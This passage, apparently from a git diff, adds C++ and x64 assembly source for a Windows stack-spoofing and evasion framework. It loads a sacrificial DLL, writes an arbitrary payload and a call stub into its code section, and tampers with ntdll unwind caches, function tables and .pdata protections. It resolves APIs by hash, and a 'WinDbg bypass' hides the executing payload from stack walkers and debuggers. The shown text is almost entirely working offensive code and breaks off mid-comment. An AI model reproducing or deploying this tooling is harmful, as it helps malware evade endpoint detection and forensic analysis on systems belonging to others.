rsp, r14 ; <- Core of stack spoofing + + ;---------------------------- LOAD ARGUMENTS ;---------------------------- + cmp r15, 0 + jle DoCall + + mov rcx, [rbp] ; argv[0] -> RCX + cmp r15, 1 + jle DoCall + + mov rdx, [rbp + 8h] ; argv[1] -> RDX + cmp r15, 2 + jle DoCall + + mov r8, [rbp + 10h] ; argv[2] -> R8 + cmp r15, 3 + jle DoCall + + mov r9, [rbp + 18h] ; argv[3] -> R9 + cmp r15, 4 + jle DoCall + + ; 5+ arguments: write past shadow space onto stack + mov rbx, rcx + lea rsi, [rbp + 20h] ; Source: &argv[4] + lea rdi, [rsp + 28h] ; Destination: RSP + shadow (0x20) + ret(0x8) + mov rcx, r15 + sub rcx, 4 + rep movsq + mov rcx, rbx + +DoCall: + test r13, r13 + jz Skip + call r13 ; <- TARGET FUNC CALLED HERE + +Skip: + add rsp, r14 ; Restore stack pointer + + pop r15 + pop r14 + pop r13 + pop r12 + pop rdi + pop rsi + pop rbp + pop rbx + + ret +ShadowGate ENDP + +ShadowGateEnd PROC + ret +ShadowGateEnd ENDP + +END \ No newline at end of file diff --git a/src/StackSearch.asm b/src/StackSearch.asm new file mode 100644 index 0000000..e0ec618 --- /dev/null +++ b/src/StackSearch.asm @@ -0,0 +1,36 @@ +; StackSearch.asm +.code + +; RCX = QWORD value to search for (BTIT + CallOffset) +; RDX = Pointer where the found address will be written +; RAX = Byte offset from RSP to found address + +ScanStackForValue PROC + mov r8, rsp ; R8 = Starting RSP (reference point) + mov r9, gs:[08h] ; Get StackBase field from the TEB + + mov r10, r8 ; R10 = Search pointer (starting from rsp) + +SearchLoop: + cmp r10, r9 ; Have we reached StackBase? + jae NotFound ; Yes -> Not Found + + cmp qword ptr [r10], rcx ; Does [r10] equal the value we are looking for? + je Found ; Yes -> Found + + add r10, 8 ; Advance by 8 bytes (Each stack slot is 8 bytes on x64) + jmp SearchLoop + +Found: + mov rax, r10 ; RAX = Address where value was found + mov [rdx], r10 ; *RDX = Found Address (out param) + sub rax, r8 ; RAX = Found address - starting rsp = offset + ret + +NotFound: + xor rax, rax + ret + +ScanStackForValue ENDP + +END \ No newline at end of file diff --git a/src/StackSpoofing.cpp b/src/StackSpoofing.cpp new file mode 100644 index 0000000..bf85413 --- /dev/null +++ b/src/StackSpoofing.cpp @@ -0,0 +1,442 @@ +/* StackSpoofing.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" +#include "Debug.h" + +/*================================================ +@ FlushFunctionTableCache Function +# Nullifies the cached size field inside +# RtlLookupFunctionTable by scanning for the +# MOV EAX,[RIP+offset] pattern and zeroing the +# target. Forces a cache miss on next lookup +================================================*/ +BOOL StackSpoof::FlushFunctionTableCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionTable")); + + BYTE Buffer[128] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + ULONG_PTR CacheAddress = 0; + + /* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */ + for (int i = 0; i < 100; i++) { + + if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) { + + INT32 Offset = 0; + Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 6 + Offset; + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) { + CacheAddress = Candidate; + break; + } + } + } + + if (!CacheAddress) + return FALSE; + + *puAddress = CacheAddress; + *pdwOld = *(PDWORD)CacheAddress; + + DWORD OldProtect = 0; + PVOID BaseAddress = (PVOID)CacheAddress; + SIZE_T RegionSize = sizeof(DWORD); + + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); + *(PDWORD)CacheAddress = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect); + return TRUE; +} + +/*================================================ +@ FlushFunctionEntryCache Function +# Same technique applied to RtlLookupFunctionEntry +# Ensures both lookup paths miss their cache after +# .pdata and _INVERTED_FUNCTION_TABLE are modified +================================================*/ +BOOL StackSpoof::FlushFunctionEntryCache( + OUT PULONG_PTR puAddress, + OUT PDWORD pdwOld +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + + BYTE Buffer[128] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + ULONG_PTR CacheAddress = 0; + + /* MOV EAX, [RIP + offset] -> 0x8B 0x05 [rel32] */ + for (int i = 0; i < 100; i++) { + + if (Buffer[i] == 0x8B && Buffer[i + 1] == 0x05) { + + INT32 Offset = 0; + Primitive::MemoryCopy(&Offset, &Buffer[i + 2], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 6 + Offset; + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x300000) { + CacheAddress = Candidate; + break; + } + } + } + + if (!CacheAddress) + return FALSE; + + *puAddress = CacheAddress; + *pdwOld = *(PDWORD)CacheAddress; + + DWORD OldProtect = 0; + PVOID BaseAddress = (PVOID)CacheAddress; + SIZE_T RegionSize = sizeof(DWORD); + + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); + *(PDWORD)CacheAddress = 0; + Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, OldProtect, &OldProtect); + return TRUE; +} + +/*================================================ +@ SuppressPDataAccess Function +# Sets .pdata to PAGE_NOACCESS so the OS unwinder +# cannot read static entries and falls back to the +# dynamic function table registered via +# RtlAddFunctionTable +================================================*/ +BOOL StackSpoof::SuppressPDataAccess( + _In_ PVOID pModule, + OUT PDWORD pdwOldProtect +) { + ULONG_PTR Base = (ULONG_PTR)pModule; + + auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew); + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + NTSTATUS Status = STATUS_SUCCESS; + + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) { + + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + SIZE_T NameLength = Primitive::StringLength(SectionName); + + if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) { + + PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress); + SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF; + + if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_NOACCESS, pdwOldProtect))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + return TRUE; + } + } + + return FALSE; +} + +/*================================================ +@ RestorePDataAccess Function +# Reverts .pdata protection to its original value +# stored during SuppressPDataAccess, re-enabling +# static exception directory access +================================================*/ +BOOL StackSpoof::RestorePDataAccess( + _In_ PVOID pModule, + _In_ DWORD dwOldProtect +) { + ULONG_PTR Base = (ULONG_PTR)pModule; + + auto Nt = (PIMAGE_NT_HEADERS)(Base + ((PIMAGE_DOS_HEADER)Base)->e_lfanew); + auto SectionHeader = IMAGE_FIRST_SECTION(Nt); + NTSTATUS Status = STATUS_SUCCESS; + DWORD Dummy = 0; + + for (int i = 0; i < Nt->FileHeader.NumberOfSections; i++) { + + const CHAR SectionName[] = { '.', 'p', 'd', 'a', 't', 'a', '\0' }; + SIZE_T NameLength = Primitive::StringLength(SectionName); + + if (Primitive::MemoryCompare(SectionHeader[i].Name, (PCHAR)SectionName, NameLength) == 0) { + + PVOID BaseAddress = (PVOID)(Base + SectionHeader[i].VirtualAddress); + SIZE_T RegionSize = (SectionHeader[i].Misc.VirtualSize + 0xFFF) & ~0xFFF; + + if (!NT_SUCCESS(Status = Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, dwOldProtect, &Dummy))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemNtProtectVirtualMemory Failed With Error -> %lx - %s.%d \n", Status, GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + return TRUE; + } + } + + return FALSE; +} + +/*================================================ +@ ConstructShadowGateParams Function +# Builds a SHADOW_GATE_PARAMS struct from an +# argument array. Allocates enough space for the +# base struct plus variable-length argv, then +# copies function pointer, frame size, and args +================================================*/ +PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParams( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + _In_ PULONG_PTR pArgv +) { + SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0); + PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size); + if (!ShadowParams) + return nullptr; + + ShadowParams->pFunction = (ULONG_PTR)pFunction; + ShadowParams->dwMinimumFrameSize = dwFrameSize; + ShadowParams->argc = Argc; + + for (ULONG_PTR i = 0; i < Argc; i++) + ShadowParams->argv[i] = pArgv[i]; + + return ShadowParams; +} + +/*================================================ +@ ConstructShadowGateParamsVa Function +# Variadic version of ConstructShadowGateParams. +# Same allocation and layout but pulls arguments +# from va_list instead of an array pointer +================================================*/ +PSHADOWGATE_PARAMS StackSpoof::ConstructShadowGateParamsVa( + _In_ PVOID pFunction, + _In_ DWORD dwFrameSize, + _In_ ULONG_PTR Argc, + ... +) { + SIZE_T Size = sizeof(SHADOWGATE_PARAMS) + (Argc > 0 ? (Argc-1) * sizeof(ULONG_PTR) : 0); + PSHADOWGATE_PARAMS ShadowParams = (PSHADOWGATE_PARAMS)::operator new(Size); + va_list Args; + if (!ShadowParams) + return nullptr; + + ShadowParams->pFunction = (ULONG_PTR)pFunction; + ShadowParams->dwMinimumFrameSize = dwFrameSize; + ShadowParams->argc = Argc; + + va_start(Args, Argc); + for (ULONG_PTR i = 0; i < Argc; i++) + ShadowParams->argv[i] = va_arg(Args, ULONG_PTR); + va_end(Args); + + return ShadowParams; +} + +/*================================================ +@ RegisterSpoofedRuntimeFunction Function +# Orchestrator — executes all layers of +# Technique 6 in sequence: +# 1. Find donor, borrow UnwindData +# 2. Collapse _INVERTED_FUNCTION_TABLE entry +# 3. Flush ntdll caches +# 4. RtlAddFunctionTable + Type=0 trick +# 5. .pdata -> PAGE_NOACCESS +# Every modification is tracked in BYOUD_CONTEXT +# for clean reversal via RevertAllSpoofChanges +================================================*/ +BOOL StackSpoof::RegisterSpoofedRuntimeFunction( + _Inout_ PBYOUD_CONTEXT pByoudCtx, + _In_ PVOID pModule, + _In_ DWORD dwShcOffset, + _In_ DWORD dwShcSize, + _In_ DWORD dwDesired, + OUT PDWORD pdwActual +) { + PRUNTIME_FUNCTION RuntimeFunction = (PRUNTIME_FUNCTION)::operator new(sizeof(RUNTIME_FUNCTION)); + if (!RuntimeFunction) + return FALSE; + + PRUNTIME_FUNCTION Donor = Unwinder::FindDonorByFrameSize(pModule, dwDesired, FALSE, pdwActual); + if (!Donor) { + ::operator delete(RuntimeFunction); +#ifdef DEBUG + DBGPRINT("[-] No Donor Found For Desired Size 0x%lx \n", dwDesired); +#endif + return FALSE; + } + + RuntimeFunction->BeginAddress = dwShcOffset; + RuntimeFunction->EndAddress = dwShcOffset + dwShcSize; + RuntimeFunction->UnwindData = Donor->UnwindData; + + /* Unlock .pdata for manipulation */ + Unwinder::UnlockPDataSection(pModule); + + /* Collapse ImageSize in _INVERTED_FUNCTION_TABLE */ + ULONG OldInv = 0; + Unwinder::CollapseInvertedTableEntry(pModule, &OldInv); + ByoudContext::TrackInvertedTableCollapse(pByoudCtx, pModule, OldInv); + + /* Flush ntdll lookup caches */ + ULONG_PTR CacheAddress = 0; + DWORD Old = 0; + + StackSpoof::FlushFunctionTableCache(&CacheAddress, &Old); + if (CacheAddress) { + ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old); + } + + CacheAddress = 0; + Old = 0; + + StackSpoof::FlushFunctionEntryCache(&CacheAddress, &Old); + if (CacheAddress) { + ByoudContext::TrackCacheNullification(pByoudCtx, CacheAddress, Old); + } + + /* Re-lock .pdata */ + Unwinder::LockPDataSection(pModule); + + /* Register dynamic function table */ + g_Win32.Nt.RtlAddFunctionTable(RuntimeFunction, 1, (DWORD64)pModule); + ByoudContext::TrackDynamicTableInsertion(pByoudCtx, RuntimeFunction); + + /* Type=0 patch for WinDbg bypass */ + PDYNAMIC_FUNCTION_TABLE DynamicEntry = Unwinder::LocateDynamicFunctionTableEntry( + (ULONG_PTR)pModule + dwShcOffset + ); + + if (DynamicEntry) { + ByoudContext::TrackDynamicTableTypeChange(pByoudCtx, DynamicEntry, DynamicEntry->Type); + DynamicEntry->Type = 0; + } + + /* .pdata -> PAGE_NOACCESS */ + DWORD NaOld = 0; + StackSpoof::SuppressPDataAccess(pModule, &NaOld); + + BYOUD_CHANGE NaChange = {}; + NaChange.Type = BCT_PDATA_NOACCESS; + NaChange.u.Pdata.pModule = pModule; + NaChange.u.Pdata.OldProtect = NaOld; + ByoudContext::CommitSpoofChange(pByoudCtx, &NaChange); + + return TRUE; +} + +/*================================================ +@ ExecuteWithSpoofedStack Function +# Top-level wrapper: loads sacrificial DLL, writes +# payload + ShadowGate stub into .text slack space, +# registers spoofed RUNTIME_FUNCTION, measures +# stack distance, calls payload via ShadowGate, +# then reverts all changes +================================================*/ +ULONG_PTR StackSpoof::ExecuteWithSpoofedStack( + _In_ PVOID pPayload, + _In_ DWORD dwPayloadSize +) { + WCHAR DllName[] = { L'w',L'i',L'n',L'd',L'o',L'w',L's',L'.',L's',L't',L'o',L'r',L'a',L'g',L'e',L'.',L'd',L'l',L'l',L'\0' }; + + /* Load sacrificial DLL */ + PVOID pModule = Proxy::WorkItemLoadLibrary(DllName); + if (!pModule) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Load Sacrificial DLL \n"); +#endif + return 0; + } + +#ifdef DEBUG + DBGPRINT("[+] Sacrificial DLL Loaded -> 0x%p \n", pModule); +#endif + + /* Write payload into .text slack space */ + DWORD dwPayloadRva = 0; + if (!Unwinder::AppendCodeToText(pModule, pPayload, dwPayloadSize, &dwPayloadRva)) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Append Payload To .text \n"); +#endif + return 0; + } + + /* Write ShadowGate stub into .text slack space */ + PVOID pShadowGateLocal = (PVOID)ShadowGate; + DWORD dwShadowGateSize = (DWORD)((ULONG_PTR)ShadowGateEnd - (ULONG_PTR)ShadowGate); + + DWORD dwGateRva = 0; + if (!Unwinder::AppendCodeToText(pModule, pShadowGateLocal, dwShadowGateSize, &dwGateRva)) { +#ifdef DEBUG + DBGPRINT("[-] Failed To Append ShadowGate To .text \n"); +#endif + return 0; + } + +#ifdef DEBUG + DBGPRINT("[+] Payload RVA: 0x%lx, ShadowGate RVA: 0x%lx (Size: 0x%lx) \n", + dwPayloadRva, dwGateRva, dwShadowGateSize); +#endif + + /* Measure stack distance */ + ULONG_PTR StackPtr = 0; + ULONG_PTR StackSpace = StackUtils::ResolveThreadStackOrigin(&StackPtr); + ULONG_PTR RspHere = CaptureStackPointer(); + + StackSpace = StackPtr - RspHere + 8; + + /* Initialize spoof context */ + BYOUD_CONTEXT Ctx = {}; + ByoudContext::InitializeSpoofContext(&Ctx, RTFI_JIT_WINDBG, pModule); + + /* Register spoofed RUNTIME_FUNCTION */ + DWORD dwActual = 0; + if (!StackSpoof::RegisterSpoofedRuntimeFunction( + &Ctx, pModule, dwPayloadRva, dwPayloadSize, + (DWORD)StackSpace + 8, &dwActual)) + { +#ifdef DEBUG + DBGPRINT("[-] RegisterSpoofedRuntimeFunction Failed \n"); +#endif + ByoudContext::RevertAllSpoofChanges(&Ctx); + return 0; + } + + /* Adjust for ShadowGate's 6 register push pairs */ + if (dwActual > 0) + dwActual -= 6 * 8; + + /* Build params and execute via copied ShadowGate in .text */ + PVOID pEntryPoint = (PVOID)((ULONG_PTR)pModule + dwPayloadRva); + ULONG_PTR Args[] = { 0 }; + + PSHADOWGATE_PARAMS pParams = StackSpoof::ConstructShadowGateParams( + pEntryPoint, dwActual, 0, Args + ); + + typedef ULONG_PTR(*fnShadowGate)(PSHADOWGATE_PARAMS); + fnShadowGate pCopiedGate = (fnShadowGate)((ULONG_PTR)pModule + dwGateRva); + + ULONG_PTR Result = pCopiedGate(pParams); + +#ifdef DEBUG + DBGPRINT("[+] Payload Returned -> 0x%Ix \n", Result); +#endif + + /* Cleanup */ + ::operator delete(pParams); + ByoudContext::RevertAllSpoofChanges(&Ctx); + + return Result; +} \ No newline at end of file diff --git a/src/StackUtils.cpp b/src/StackUtils.cpp new file mode 100644 index 0000000..23570e8 --- /dev/null +++ b/src/StackUtils.cpp @@ -0,0 +1,62 @@ +/* StackUtils.cpp */ +#include +#include "Structs.h" +#include "Common.h" +#include "Primitives.h" +#include "Debug.h" + +/*================================================ +@ ResolveThreadStackOrigin Function +# Combines the resolver and stack scanner to +# calculate the required stack frame size for +# stack spoofing. Locates BaseThreadInitThunk, +# finds its internal CALL offset, then scans +# the stack for that return address +================================================*/ +ULONG_PTR StackUtils::ResolveThreadStackOrigin( + OUT PULONG_PTR puStackPointer +) { + /* Find BTIT address */ + PVOID Btit = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")), Hash::ExprHashStrDjb2("BaseThreadInitThunk")); + if (Btit == nullptr) { +#ifdef DEBUG + DBGPRINT("[-] BTIT Return Address Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return 0; + } + + /* Find offset of the call instruction inside BTIT */ + DWORD CallOffset = Resolver::LocateCallInstructionOffset((ULONG_PTR)Btit, 0x100); + + /* Search the stack for the return address */ + ULONG_PTR StackSpace = ScanStackForValue( + (ULONG_PTR)Btit + CallOffset, + puStackPointer + ); + +#ifdef DEBUG + DBGPRINT("[i] BTIT Return Address Found -> 0x%Ix \n", StackSpace); +#endif + return StackSpace; +} + +/*================================================ +@ DetectStackCookiePresence Function +# Checks whether the given module was compiled +# with /GS by inspecting the SecurityCookie field +# in the PE's Load Configuration Directory +================================================*/ +BOOL StackUtils::DetectStackCookiePresence( + _In_ PVOID pModule +) { + auto Nt = (PIMAGE_NT_HEADERS)((PBYTE)pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); + if (Nt->Signature != IMAGE_NT_SIGNATURE) + return FALSE; + + auto LcDir = &Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG]; + if (!LcDir->VirtualAddress || !LcDir->Size) + return FALSE; + + auto Lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)((PBYTE)pModule + LcDir->VirtualAddress); + return Lc->SecurityCookie != 0; +} \ No newline at end of file diff --git a/src/Unwind.cpp b/src/Unwind.cpp new file mode 100644 index 0000000..7a81eee --- /dev/null +++ b/src/Unwind.cpp @@ -0,0 +1,885 @@ +/* Unwind.cpp */ +#include +#include "Structs.h" +#include "Primitives.h" +#include "Debug.h" +#include "Common.h" + +/*================================================ +@ CalculateUnwindFrameSize Function +# Parses UNWIND_INFO opcodes to compute total +# stack frame size. Handles all opcode variants +# including multi-slot ALLOC_LARGE and recursive +# chained unwind info descent +================================================*/ +DWORD Unwinder::CalculateUnwindFrameSize( + _In_ PVOID pModule, + _In_ PVOID pUnwindInfo, + OUT PDWORD pdwTarget +) { + PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)pUnwindInfo; + PUNWIND_CODE UnwindCode = (PUNWIND_CODE)UnwindInfo->UnwindCode; + DWORD FrameSize = 0; + DWORD Node = 0; + BYTE OpInfo = 0; + + *pdwTarget = 0; + + while (Node < UnwindInfo->CountOfCodes) { + + switch (UnwindCode->UnwindOp) { + + case UWOP_PUSH_NONVOL: { + /* Each non-volatile register push decrements RSP by 8 */ + *pdwTarget += sizeof(PVOID); + FrameSize += sizeof(PVOID); + break; + } + + case UWOP_ALLOC_LARGE: { + /* Two variants: OpInfo = 0 and OpInfo = 1 */ + OpInfo = UnwindCode->OpInfo; + + /* First slot read (the opcode itself) + now advance to the next slot because the size is there + */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); /* PWORD = 2 bytes, One slot = 2 bytes */ + Node++; + + if (OpInfo == 0) { + /* FrameOffset * 8 = allocation byte count */ + FrameSize += (DWORD)UnwindCode->FrameOffset * 8; + } else { + /* Build a 32-bit number from two consecutive FrameOffset values + slot N+1 = low 16 bits, slot N+2 = high 16 bits + */ + DWORD Low = UnwindCode->FrameOffset; + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + FrameSize += Low | ((DWORD)UnwindCode->FrameOffset << 16); + } + + *pdwTarget += FrameSize; + break; + } + + case UWOP_ALLOC_SMALL: { + /* (OpInfo + 1) * 8 = Allocation size */ + *pdwTarget += sizeof(PVOID) * (UnwindCode->OpInfo + 1); + FrameSize += sizeof(PVOID) * (UnwindCode->OpInfo + 1); + break; + } + + case UWOP_SET_FPREG: + /* lea rbp, [rsp + x] frame pointer setup + RSP unchanged, just skip + */ + break; + + case UWOP_SAVE_NONVOL: { + /* Register saved via MOV, not push - 1 extra slot for the offset value + RSP unchanged, just skip + */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + break; + } + + case UWOP_SAVE_NONVOL_BIG: { + /* Same thing but with 32-bit offset -> 2 extra slots */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2); + Node += 2; + break; + } + + case UWOP_EPILOG: /* 6 */ + case UWOP_SAVE_XMM128: { + /* XMM register save - 1 extra slot, RSP unchanged */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + break; + } + + case UWOP_SPARE_CODE: /* 7 */ + case UWOP_SAVE_XMM128BIG: { + /* XMM register save with 32-bit offset -> 2 extra slots */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 2); + Node += 2; + break; + } + + case UWOP_PUSH_MACH_FRAME: { + /* Hardware interrupt frame - 0x40 or 0x48 bytes */ + if (UnwindCode->OpInfo == 0) { + *pdwTarget += 0x40; + FrameSize += 0x40; + } else { + *pdwTarget += 0x48; + FrameSize += 0x48; + } + break; + } + } + + /* Advance to next opcode */ + UnwindCode = (PUNWIND_CODE)((PWORD)UnwindCode + 1); + Node++; + } + + /* If UNW_FLAG_CHAININFO is set, another RUNTIME_FUNCTION + pointer follows the UnwindCode array + in that case, recursively parse that entry too + */ + if (BitChainInfo(UnwindInfo->Flags)) { + + if (!pModule) + return FrameSize; + + Node = UnwindInfo->CountOfCodes; + if (Node & 1) Node++; /* Align to even */ + + PRUNTIME_FUNCTION RtFunc = (PRUNTIME_FUNCTION)(&UnwindInfo->UnwindCode[Node]); + return CalculateUnwindFrameSize(pModule, (PVOID)((ULONG_PTR)pModule + RtFunc->UnwindData), pdwTarget); + } + + return FrameSize; +} + +/*================================================ +@ FindDonorByFrameSize Function +# Scans .pdata to find a donor function with a +# compatible frame size. Filters for UHANDLER +# flag and enforces x64 ABI stack alignment +# (difference % 16 == 8) +================================================*/ +PRUNTIME_FUNCTION Unwinder::FindDonorByFrameSize( + _In_ PVOID pModule, + _In_ DWORD dwFrameSize, + _In_ BOOL bStrict, + OUT PDWORD pdwActual +) { + DWORD Size = 0; + PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size); + DWORD Count = Size / sizeof(RUNTIME_FUNCTION); + + if (!RtTable) + return nullptr; + + for (int i = 0; i < Count; i++) { + + DWORD UnwindRVA = RtTable[i].UnwindData; + if (!UnwindRVA || (UnwindRVA & 0x1)) + continue; + + PUNWIND_INFO UnwindInfo = (PUNWIND_INFO)((PBYTE)pModule + UnwindRVA); + + /* Skip entries without UNW_FLAG_UHANDLER + Reason -> functions with handlers have more complete UNWIND_INFO + */ + if (!(UnwindInfo->Flags & UNW_FLAG_UHANDLER)) + continue; + + DWORD Pointless = 0; + DWORD Actual = Unwinder::CalculateUnwindFrameSize(pModule, UnwindInfo, &Pointless); + + if (bStrict && Actual == dwFrameSize) { + if (pdwActual) + *pdwActual = 0; + return &RtTable[i]; + } + + else if (!bStrict && Actual >= (dwFrameSize + 0x28) && Actual <= (dwFrameSize + 0x500)) { + + DWORD Difference = Actual - dwFrameSize; + if ((Difference % 16) == 8) { + if (pdwActual) + *pdwActual = Difference; + return &RtTable[i]; + } + } + } + +#ifdef DEBUG + DBGPRINT("[-] No Donor Found For Frame Size 0x%lx \n", dwFrameSize); +#endif + return nullptr; +} + +/*================================================ +@ UnlockPDataSection Function +# Sets .pdata memory protection to PAGE_READWRITE +# via proxied NtProtectVirtualMemory. Required +# before any .pdata manipulation +================================================*/ +NTSTATUS Unwinder::UnlockPDataSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READWRITE, &OldProtect); +} + +/*================================================ +@ LockPDataSection Function +# Restores .pdata memory protection to +# PAGE_READONLY via proxied NtProtectVirtualMemory +================================================*/ +NTSTATUS Unwinder::LockPDataSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolvePDataSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_READONLY, &OldProtect); +} + +/*================================================ +@ UnlockTextSection Function +# Sets .text memory protection to PAGE_EXECUTE_READWRITE +# via proxied NtProtectVirtualMemory. +================================================*/ +NTSTATUS Unwinder::UnlockTextSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READWRITE, &OldProtect); +} + +/*================================================ +@ LockTextSection Function +# Restores .text memory protection to +# PAGE_EXECUTE_READ via proxied NtProtectVirtualMemory +================================================*/ +NTSTATUS Unwinder::LockTextSection( + _In_ PVOID pModule +) { + SECTION_INFO SectionInfo = { 0 }; + DWORD OldProtect = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PVOID BaseAddress = SectionInfo.VirtualAddress; + SIZE_T RegionSize = SectionInfo.VirtualSize; + + return Proxy::WorkItemNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, PAGE_EXECUTE_READ, &OldProtect); +} + +/*================================================ +@ ResolveDynamicFunctionTablePtrs Function +# Locates the _DYNAMIC_FUNCTION_TABLE linked list +# head pointer and sentinel by pattern scanning +# RtlAddFunctionTable's machine code for the +# MOV/LEA/CMP triple instruction sequence +================================================*/ +BOOL Unwinder::ResolveDynamicFunctionTablePtrs( + _In_ HANDLE hProcess, + OUT PULONG_PTR puHeadPtr, + OUT PULONG_PTR puSentinel +) { + /* Get Ntdll Info */ + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR NtdllBase = (ULONG_PTR)Ntdll; + auto Nt = (PIMAGE_NT_HEADERS)(NtdllBase + ((PIMAGE_DOS_HEADER)NtdllBase)->e_lfanew); + SIZE_T NtdllSize = Nt->OptionalHeader.SizeOfImage; + + /* Find RtlAddFunctionTable's address */ + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + if (!FnAddress) + return FALSE; + + /* Read the function's machine code */ + BYTE Buffer[1024] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Helper lambdas */ + /* InNtdll: checks if an address falls within ntdll's address range + prevents false positives - a random RIP-relative reference + pointing outside ntdll is invalid + */ + auto InNtdll = [&](ULONG_PTR uAddress) { + return uAddress > NtdllBase && uAddress < NtdllBase + NtdllSize; + }; + + /* RipRel: resolves RIP-relative addressing + x64 MOV/LEA [RIP+offset] pattern works as follows: + instruction address + instruction length + rel32 = target address + */ + auto RipRel = [&](int i, int Off, int Len) -> ULONG_PTR { + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + Off], sizeof(INT32)); + return FnAddress + i + Len + Rel; + }; + + /* + Pattern Search: 